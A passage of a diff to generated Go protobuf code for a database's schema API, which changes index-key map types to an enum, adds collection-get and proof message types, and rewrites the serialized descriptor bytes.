value - IntValue int64 `protobuf:"varint,4,opt,name=int_value,json=intValue,proto3,oneof"` -} - -func (*PossibleIndexValue_NumberValue) isPossibleIndexValue_Kind() {} - -func (*PossibleIndexValue_StringValue) isPossibleIndexValue_Kind() {} - -func (*PossibleIndexValue_BoolValue) isPossibleIndexValue_Kind() {} - -func (*PossibleIndexValue_IntValue) isPossibleIndexValue_Kind() {} - type CollectionCreateRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` + IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` } func (x *CollectionCreateRequest) Reset() { @@ -504,14 +559,14 @@ func (x *CollectionCreateRequest) GetName() string { return "" } -func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]*PossibleIndexValue { +func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]PossibleIndexType { if x != nil { return x.PrimaryKeys } return nil } -func (x *CollectionCreateRequest) GetIndexKeys() map[string]*PossibleIndexValue { +func (x *CollectionCreateRequest) GetIndexKeys() map[string]PossibleIndexType { if x != nil { return x.IndexKeys } @@ -523,9 +578,9 @@ type CollectionInformation struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` + IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` } func (x *CollectionInformation) Reset() { @@ -567,20 +622,67 @@ func (x *CollectionInformation) GetName() string { return "" } -func (x *CollectionInformation) GetPrimaryKeys() map[string]*PossibleIndexValue { +func (x *CollectionInformation) GetPrimaryKeys() map[string]PossibleIndexType { if x != nil { return x.PrimaryKeys } return nil } -func (x *CollectionInformation) GetIndexKeys() map[string]*PossibleIndexValue { +func (x *CollectionInformation) GetIndexKeys() map[string]PossibleIndexType { if x != nil { return x.IndexKeys } return nil } +type CollectionGetRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionGetRequest) Reset() { + *x = CollectionGetRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionGetRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionGetRequest) ProtoMessage() {} + +func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. +func (*CollectionGetRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{8} +} + +func (x *CollectionGetRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + type CollectionListRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -590,7 +692,7 @@ type CollectionListRequest struct { func (x *CollectionListRequest) Reset() { *x = CollectionListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[8] + mi := &file_schemav2_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -603,7 +705,7 @@ func (x *CollectionListRequest) String() string { func (*CollectionListRequest) ProtoMessage() {} func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[8] + mi := &file_schemav2_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -616,7 +718,7 @@ func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{8} + return file_schemav2_proto_rawDescGZIP(), []int{9} } type CollectionListResponse struct { @@ -630,7 +732,7 @@ type CollectionListResponse struct { func (x *CollectionListResponse) Reset() { *x = CollectionListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[9] + mi := &file_schemav2_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -643,7 +745,7 @@ func (x *CollectionListResponse) String() string { func (*CollectionListResponse) ProtoMessage() {} func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[9] + mi := &file_schemav2_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -656,7 +758,7 @@ func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{9} + return file_schemav2_proto_rawDescGZIP(), []int{10} } func (x *CollectionListResponse) GetCollections() []*CollectionInformation { @@ -677,7 +779,7 @@ type CollectionDeleteRequest struct { func (x *CollectionDeleteRequest) Reset() { *x = CollectionDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[10] + mi := &file_schemav2_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -690,7 +792,7 @@ func (x *CollectionDeleteRequest) String() string { func (*CollectionDeleteRequest) ProtoMessage() {} func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[10] + mi := &file_schemav2_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -703,7 +805,7 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{10} + return file_schemav2_proto_rawDescGZIP(), []int{11} } func (x *CollectionDeleteRequest) GetName() string { @@ -713,6 +815,53 @@ func (x *CollectionDeleteRequest) GetName() string { return "" } +type Proof struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *Proof) Reset() { + *x = Proof{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Proof) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Proof) ProtoMessage() {} + +func (x *Proof) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[12] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Proof.ProtoReflect.Descriptor instead. +func (*Proof) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{12} +} + +func (x *Proof) GetName() string { + if x != nil { + return x.Name + } + return "" +} + var File_schemav2_proto protoreflect.FileDescriptor var file_schemav2_proto_rawDesc = []byte{ @@ -734,182 +883,197 @@ var file_schemav2_proto_rawDesc = []byte{ 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x80, 0x02, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x47, - 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x50, 0x0a, 0x0a, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, - 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x77, 0x72, - 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0b, 0x77, 0x72, 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x25, 0x0a, 0x0d, - 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, - 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, - 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, - 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1d, 0x0a, 0x09, 0x69, 0x6e, 0x74, 0x5f, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x08, 0x69, 0x6e, 0x74, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0xa9, 0x03, 0x0a, - 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x8f, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3a, 0x0a, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x34, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, + 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x22, 0x62, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x0f, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, + 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, + 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, + 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, + 0x70, 0x22, 0xa7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x5b, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, + 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, 0x0a, 0x09, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 